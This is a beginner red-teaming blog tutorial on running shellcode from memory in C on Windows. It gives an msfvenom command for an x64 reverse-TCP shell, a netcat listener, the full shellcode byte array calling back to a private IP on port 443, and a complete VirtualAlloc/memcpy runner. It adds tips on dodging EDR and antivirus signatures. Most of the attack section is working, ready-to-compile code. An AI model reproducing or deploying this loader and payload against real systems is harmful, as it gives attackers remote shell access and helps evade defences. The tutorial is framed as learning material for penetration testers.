Red Teaming 101: Executing Malicious Shellcode with C — a guide for beginners
Hello fellow hackers. While doing Red Teaming, it is important to stay as stealthy as possible. One way of achieving that is to operate as much as you can from memory.
There are many ways to perform memory operations, and it all comes to coding. So set yourself for some offensive coding!
If you prefer watching a video instead of reading, feel welcomed to my YouTube Channel: https://www.youtube.com/c/Lsecqt
Theory
Let’s answer a few questions:
- Why do we need to execute shellcode?
- Why using C?
Why do we need shellcode in the first place?
The first question is complicated for beginners. The good Pentester / Red Teamer is one who can write his own tools, such as stagers, c2 beacons, exploits and so on… If you rely on publicly available tools only, your cover is being destroyed, since all of major EDR are updated with their signatures. That’s why we must stick to custom code, but why do we need to use shellcode? Well … In order to operate from memory, (which most of the times means to migrate into a process while not dropping files to disk) we must supply instructions, the machine itself can understand.
Shellcode is hexadecimal representation of raw CPU instructions. Most of the times shellcodes are redirect instructions for stdin, stdout and stderr to remote listener (that is how reverse shell is really working).
Now, why do we need to use C?
Can’t we use more beginner friendly programming language? We can, but there is a catch!
In order to work with memory, we must access what are so called, Windows APIs. This is the internal mechanism of how Windows really works, form allocating memory to spawning a process. In order to work with such APIs, we must add specific libraries or declare specific methods. This can be complex for higher level programming languages, since for each WIN32 API method needed, a new DLLImport must be performed!
Also, languages like C# are using garbage collectors, while low level programming languages have direct memory access (This must be taken seriously).
When it comes to C/C++, the only thing we must perform in order to have access to such APIs, is to include <windows.h> library. Simple right?
Since C/C++ are low level languages, the integration for Windows API and memory operation is really simple. Although the languages are not friendly when it comes to OOP, it is extremely handy when it comes to Penetration Testing and Red Teaming.
Each C/C++ program will generate a Portable Executable (PE) when the code is successfully compiled, which is perfect for c2 droppers, since no additional files (such as dlls) are required.
Action
The idea of today’s exercise is to create a C program, that can execute shellcode within its own process memory context. We will build up from scratch and showcase more complex things in future.
In order to run shellcode, we first must have one, right? Let’s generate a shell_reverse_tcp shellcode with msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f cIt is highly recommended to stick as much as you can with 64 bits architecture. Sometimes by just changing the architecture, we can escape some anti-virus solutions, since they are still optimized for 32bit malwares.
In this demo, we will be using stagless payload just for simplicity. In real engagements we should code custom stagers, but that topic is not for today.
Let’s setup the listener now:
nc -nvlp 443The listener is ready, let’s open C/C++ IDE (I personally use Dev-C++) and add library imports plus the shellcode generated from msfvenom as a global variable.
#include <stdio.h>
#include <windows.h>unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
It is important where we will store our shellcode buffer. It will be stored in different PE section if it is as a global variable or a local one. More about that in future!
The next step is to define main method. All c programs must have main in order to understand from where to start execution.
int main()
{
return 0;
}In order to execute the shellcode, we must need to:
- Allocate memory for the shellcode.
- Copy shellcode buffer to that memory.
- Execute it.
The allocation step is performed with a WIN32 API called VirtualAlloc (https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);By defining a pointer, we can later know at what memory address the allocation was performed. The parameters are simple. First one is being lpAddress, by setting it to 0, the OS will automatically find the start address for the function execution. The second is the size of the shellcode. Third argument is the allocation type flag, and the fourth is memory flag.
The next step is to copy the shellcode into the allocated memory. This is being done with memcpy function (thats why we need the pointer):
memcpy(exec, buf, sizeof buf);And the third step is to actually execute the shellcode. The C syntax for that is strange and confusing so better note it somewhere:
((void(*)())exec)();So, the full code is:
#include <stdio.h>
#include <windows.h>unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";int main()
{
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
After compiling and running it, we observe that the console window idles, but the callback is present:
Conclusion
When it comes to offensive coding, I can state that the C/C++ are doing GREAT!!! Of course, we must not limit to them, but the idea is to build up more knowledge so we can pick a tool, suitable for our needs on runtime.
It was fun building such shellcode runner and we will definitely upgrade in future blogs / videos.
Stay tuned and thank you for reading!
